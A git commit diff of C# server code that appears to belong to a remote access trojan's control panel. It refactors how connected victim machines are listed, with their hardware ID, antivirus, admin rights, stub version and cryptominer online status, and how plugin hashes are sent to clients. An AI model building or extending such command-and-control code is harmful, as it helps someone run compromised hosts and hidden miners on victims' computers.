update handle listview
This commit is contained in:
NYAN CAT 2019-10-09 20:11:21 +03:00
parent 2480aeba99
commit 7c8a4a3dff
4 changed files with 49 additions and 44 deletions

View File

@ -204,7 +204,7 @@ namespace Server.Connection
}
}
public void CheckPlugin(object o) // send all plugins md5 hash to client
public void CheckPlugin() // send all plugins md5 hash to client
{
try
{

View File

@ -15,6 +15,8 @@ namespace Server.Handle_Packet
try
{
lock (Settings.LockBlocked)
{
try
{
if (Settings.Blocked.Count > 0)
{
@ -30,10 +32,12 @@ namespace Server.Handle_Packet
}
}
}
catch { }
}
try
{
ThreadPool.QueueUserWorkItem(client.CheckPlugin);
client.CheckPlugin(); //send plugins hashes to client to check if exists or need update
}
catch { }
@ -51,29 +55,17 @@ namespace Server.Handle_Packet
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("User").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("OS").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Version").AsString);
try
{
client.LV.SubItems.Add(Convert.ToDateTime(unpack_msgpack.ForcePathObject("Installed").AsString).ToLocalTime().ToString());
}
catch
{
client.LV.SubItems.Add("Outdated stub");
}
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Admin").AsString);
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Antivirus").AsString);
try
{
client.LV.SubItems.Add("0000 MS");
}
catch
{
client.LV.SubItems.Add("Outdated stub");
}
client.LV.SubItems.Add(unpack_msgpack.ForcePathObject("Performance").AsString.Replace("MINER 0", "MINER Offline").Replace("MINER 1", "MINER Online"));
client.LV.ToolTipText = "[Path] " + unpack_msgpack.ForcePathObject("Path").AsString + Environment.NewLine;
client.LV.ToolTipText += "[Pastebin] " + unpack_msgpack.ForcePathObject("Pastebin").AsString;
client.ID = unpack_msgpack.ForcePathObject("HWID").AsString;
client.LV.UseItemStyleForSubItems = false;
Program.form1.Invoke((MethodInvoker)(() =>
{
lock (Settings.LockListviewClients)
{
Program.form1.listView1.Items.Add(client.LV);
@ -88,6 +80,7 @@ namespace Server.Handle_Packet
}
new HandleLogs().Addmsg($"Client {client.TcpClient.RemoteEndPoint.ToString().Split(':')[0]} connected", Color.Green);
}));
}
catch { }
}

View File

@ -1,8 +1,4 @@
using System;
using System.Collections.Generic;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using System.Windows.Forms;
using System.Drawing;
@ -19,11 +15,25 @@ namespace Server.Handle_Packet
LV.SubItems.Add(Msg);
LV.ForeColor = color;
if (Program.form1.InvokeRequired)
{
Program.form1.Invoke((MethodInvoker)(() =>
{
lock (Settings.LockListviewLogs)
{
Program.form1.listView2.Items.Insert(0, LV);
}
}));
}
else
{
lock (Settings.LockListviewLogs)
{
Program.form1.listView2.Items.Insert(0, LV);
}
}
}
catch { }
}
}

View File

@ -27,7 +27,9 @@ namespace Server.Handle_Packet
{
case "ClientInfo":
{
ThreadPool.QueueUserWorkItem(delegate {
new HandleListView().AddToListview(client, unpack_msgpack);
});
break;
}